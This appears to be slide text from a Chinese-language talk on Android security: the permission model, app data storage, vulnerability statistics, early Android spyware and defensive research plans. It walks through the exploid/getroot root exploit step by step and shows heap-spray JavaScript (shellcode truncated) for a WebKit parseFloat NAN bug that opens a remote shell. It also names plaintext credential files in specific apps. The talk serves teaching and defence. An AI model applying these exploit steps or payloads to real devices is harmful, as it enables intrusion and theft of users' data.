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 android应用层安全控制 
 
 

 android market程序安装时，用户就可以根据这
些权限申明决定是否安装该程序 

 READ_CONTACTS 读取通信录 
READ_SMS 读取短信 
RECEIVE_SMS 接收短信 
SEND_SMS 发送短信 
WRITE_CONTACTS 修改通信录 
WRITE_SMS 编写短信 
CALL_PHONE 对外拨号 
BLUETOOTH 蓝牙 
INTERNET 访问Internet网络 
REBOOT 重启设备 
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 Linux层访问控制 

 文件系统只读 

 

 

 

 

 

 不可写 



 /data/system/packages.xml 

 记录apk文件的包名、签名、进程、用户id的关
联信息 

 



 /data/data/??? 

 android的会为每个程序维护一个数据集合（目
录），这些集合都放着在/data/data下，目录名
称即包名称 

 

 



 以android自带的浏览器browser为例，路径为
/data/data/com.android.browser 
 
 
 
 

 数据目录下的databases中保持了该程序记录的大
量数据信息 

 



启动器

/system/app和/data/app下的apk文件

app_1 app_2 app_**

解释执行

分配用户ID

/data/data
对应目录

/data/data
对应目录

/data/data
对应目录



 在android系统上每个应用程序在安装时，
都会创建一个新的用户并分派一个id，也就
保证了一个应用程序是一个用户，从而形
成了下面的权限对应体系 

用户 进程 
签名鉴

定 

权限鉴

定 



 Superuser Permission 

（1）普通权限安装apk文件 
（2）普通运行自带的linux程序exploid 
（3）exploid利用netlink向系统发送添加虚拟的设备处理程序hotplug
（即该程序本身） 
（4）当android的wifi被打开或者插入SD卡时，系统感知热拔插设备插
入，调用exploid设置的hotplug程序（exploid）。 
（5）hotplug程序（exploid）以root权限运行，remount系统目录/syste
m为可读写，向/system/bin拷入权限为04711的rootshell程序，提权完
成 
（6）拷贝其他程序（su）到/system/bin下，恢复/system为只读系统 
 



 
 
 
 

 install_kit.sh用于拷贝su、Superuser.apk以及备份
remount_as_ro.sh； 

 remove_kit.sh是用于删除su、Superuser.apk、
rootshell并使用remount_as_ro.sh恢复系统为只读； 

 Superusera.apk为利用root权限进行系统管控的一个
小工具，它能成功运行就代表提权成功； 

 su相当于linux上的su工具，一个用于改变linux当前用
户的命令行工具； 

 getroot其中最重要的程序，用于提权 



 getroot的第3步 

 2.6.x开始支持通过NETLINK方式加载固件驱动
程序，即加载固件后，系统会调用注册的固件
驱动 

 getroot(3)即完成上述的注册过程 



 getroot的第4步 

 尝试打开wifi设备，触发加载固件的内核消息 

 getroot的第5步 

 读取mount文件和fs_type文件内容也就是
/dev/block/mtdblock3和yaffs2进行remount，将
其设置为可读写 

 将程序拷贝到/system/bin/rootshell处，并修改
权限为04711 



 
 
 
 
 
 

 向/system/bin拷入su工具，同时运行
remount_as_ro.sh将/system重新mount为只
读系统 



 演示 

 小工具SuTest分别采用直接读取
/data/data/com.android.browser/databases/webvi
ew.db，另外一种方式则是使用本地提权后获取
数据库数据 



 因果 
 Webkit引擎在分析形如NAN(payload)形式的用
户自定义浮点数的时候会导致，根本原因是
strtod函数（WTF库的dtoa.cpp中的实现版本）
没有正确处理NAN(n-char-sequence)的情况。
（webkit调用关系：parseFloat-
>globalFuncParseFloat->Ustring::todouble-
>WTF::strtod） 

 由于Android2.0~2.1系统中携带的浏览器也使用
该问题代码，在2.2版本中，该问题已经被修补。 

 



 触发方式 

 该漏洞可以使用的Heap-spray技术进行漏洞利
用。通过parseFloat("NAN(ffffe00572c60)"))可以
触发该漏洞 



  var scode = unescape("\u3c84\u0057……”);   //定义shellcode 
 do {   
 scode += scode;   
 } while(scode.length < 0x1000);   
    target = new Array();   
    for(i = 0; i < 1000; i++)   
       target[i] = scode;                           //构造heap环境 
 for (i = 0; i <= 1000; i++)   
 {     
     if (i>999)   
 { 
     sploit(-parseFloat("NAN(ffffe00572c60)"));  //触发漏洞。 
     }   
     document.write("The targets!! " + target[i]);   
     document.write("<br />");   
 }   

 



 Shellcode 片断反汇编 



 Shellcode片段 
 
 
 
 
 
 
 

 通过11号系统调用execve，运行
/system/bin/sh为远程控制端提供shell 



 触发结果 

 Android 

 

 

 

 

 control 



 应用层权限过于简陋 
 数据库及数据文件明文问题 

 aqq 1.2.1 beta 版本号9 

 浏览器 

 360手机卫士Android版v1.3.1 

 adb问题 
 后门软件 



 aqq 1.2.1 beta 版本号9 

 /data/data/com.android.aqq/shared_prefs/com.an
droid.aqq_preferences.xml 



 浏览器 

 /data/data/com.android.browser/databases/webvi
ew.db 

 



 某手机卫士Android版v1.3.1 

 /data/data/****.mobilesafe/databases/mobilesaf
eguard.db 



 大开城门 

 adb shell，PC端通过远程shell以root权限登录手
机终端，运行各种linux命令等 

 adb install/uninstall 安装程序或卸载程序 

 adb pull/push  从手机下载/向手机上传文件或文
件夹 

 



 传播方式 
 伪装计算缴税金额的计算器软件包 

 中招过程 
 安装 
 模仿QQ登陆框，诱使用户登陆 
 获取QQ号和密码，发送到特定手机 

 针对系统 
 Android 

 危害行为 
 窃取短信内容 
 变种SW.Spyware.B还能监控用户的通话记录 

 危害范围 
 首款Android病毒 

 流行时间 
 2010年7月 
 



 传播方式 

 http://www.mobile-spy.com/android.html 商业软
件，有一定违法可能 

 中招过程 

 无 

 针对系统 

 Android 

 危害行为 

 监控短信和通话记录，上传到网上设定的账户 
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 混乱的market&混乱的固件 
 系统结构的妥协 

 驱动层上移（躲避GPL) 

 Dalvik的不开源（是否躲避Sun） 

 恶意代码比应用更容易跨平台 
 由大量开源第三方组件构成 

 漏洞挖掘难度 

 连带效应 

 



 数量和份额 

以上数据来自AdMob Mobile Metrics 



 数量和份额 

以上数据来自AdMob Mobile Metrics 



 漏洞 

平台 Symbian Android WM* Blackberr
y 

Iphone** 

总计 5 40 18 33 124* 

2010 0 21 1 5 36 

2009 2 11 1 12 45 

2008 1 2 2 1 26 

2007 0 5 10 7 17 

Before 2006 2 1 4 8 0 



 漏洞分级 

LOW MEDIUM HIGH 

2010 0 4 17 

2009 0 6 5 

2008 0 1 1 

2007 0 5 0 

Before2006 1 0 0 



 Bug的真相 
时间/类别 其他应用程序 Android 系统应用 android框架和库 linux内核 

2010 1（webkit） 
1（symantec） 
1(wells fargo) 
1(Bank of America) 
1(USAA) 
15(flash palyer) 

0 0 0 

2009 1（skia） 2(phone) 3（SDK） 
3（bionic） 
1（OpenCORE） 

1 

2008 0 2(sdk) 0 0 
2007 0 0 5(libpng) 0 
2006 0 0 1(libpng) 0 



 从andorid的权限策略出发，进行启发式的
恶意行为检测（ing） 

 通过对android源代码进行修改，尝试启动
android底层linux内核中保留的例如iptables、
ptrace等高级功能（ing） 

 尝试通过对android模拟器源码进行修改，
实现行为分析环境（ing） 

 尝试建立移动终端模拟器群组的样本分析
环境（will） 





 实践出真知 
 practice makes perfect 


